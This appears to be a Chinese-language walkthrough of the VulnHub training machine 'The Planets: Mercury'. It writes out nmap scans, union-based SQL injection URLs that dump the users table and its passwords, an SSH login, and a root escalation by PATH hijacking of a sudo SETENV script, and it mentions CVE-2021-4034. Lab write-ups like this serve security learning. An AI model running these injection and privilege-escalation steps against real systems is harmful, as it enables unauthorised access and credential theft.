The Planets: Mercury ~ VulnHub
靶机:
攻击机:
Linux kali 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux
信息收集:
nmap 192.168.1.1/24
进一步探测端口信息
nmap -sS -sV -A -p- 192.168.1.114
访问一下8080端口,说是你好此网站目前正在开发中,请稍后再查看。
随便访问一下错误页面。
给了三个提示。
index
robots.txt
点击一下
有id。换一下id试试
一直到8都是有内容的。
尝试报错
貌似存在注入点。 常规测试。貌似还不用闭合。直接注入
开始爆库。http://192.168.1.114:8080/mercuryfacts/8%20union%20select%20database()/
爆表
192.168.1.114:8080/mercuryfacts/8 union select group_concat(table_name) from information_schema.tables where table_schema='mercury'/
发现users表。
爆列
192.168.1.114:8080/mercuryfacts/8 union select group_concat(column_name) from information_schema.columns where table_name='users'/
爆内容:
http://192.168.1.114:8080/mercuryfacts/8%20union%20select%20group_concat(id,password,username)%20from%20users/http://192.168.1.114:8080/mercuryfacts/8%20union%20select%20group_concat(id,password,username)%20from%20users/得到账号密码:
1 johnny1987 john
2 lovemykids111 laura
3 lovemybeer111 sam
4 mercuryisthesizeof0.056Earths webmaster
开始登陆。这里只有用22端口进行登陆。
登陆成功。
发现两个文件
分别查看一下,发现了两个用户,webmaster和linuxmaster。
发现后面的字符像是base64编码,解一下。
得到明文,这里进行登陆linuxmaster。
登陆成功,查看权限
看到这个.sh文件是root权限。看到了SETENV。
这里百度查了一下。看到了一个sudo+SETENV的提权。
大家可参考以上链接。原理就是:
sudo运行时默认会启用env_reset选项将从命令行设置的环境变量复原,因此通常情况下,当使用sudo命令时,通过本地修改环境变量也没法替换目标文件来进行提权,但如果sudo在配置时为用户设置了SETENV选项,情况就不一样了。SETENV会允许用户禁用env_reset选项,允许sudo使用当前用户命令行中设置的环境变量,如下图:sudo允许当前用户以root身份执行一个shell脚本,并为当前用户配置了SETENV,shell脚本是打印syslog最后几行。
如果没有配置SETENV,这里是无法通过改环境变量把tail替换成一个vim命令来进行提权的。这里有SETENV,那么就可以设置环境变量
现在开始提权。
第一步:新建一个tail的提权脚本
echo "/bin/bash" > tail
再对其进行赋权。
第二步:通过下面的命令,将当前目录放置在PATH环境变量的最前面
export PATH=.:$PATH
第三步:通过下面的命令即可运行我们伪造的tail命令,从而用vim进行提权
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
拿到flag。
做法二:利用CVE-2021-4034。这个更简单,只需要把exp复制进去,再执行就可完成提权。
这个是比较新的一个漏洞了,所以vulnhub的靶机几乎全杀。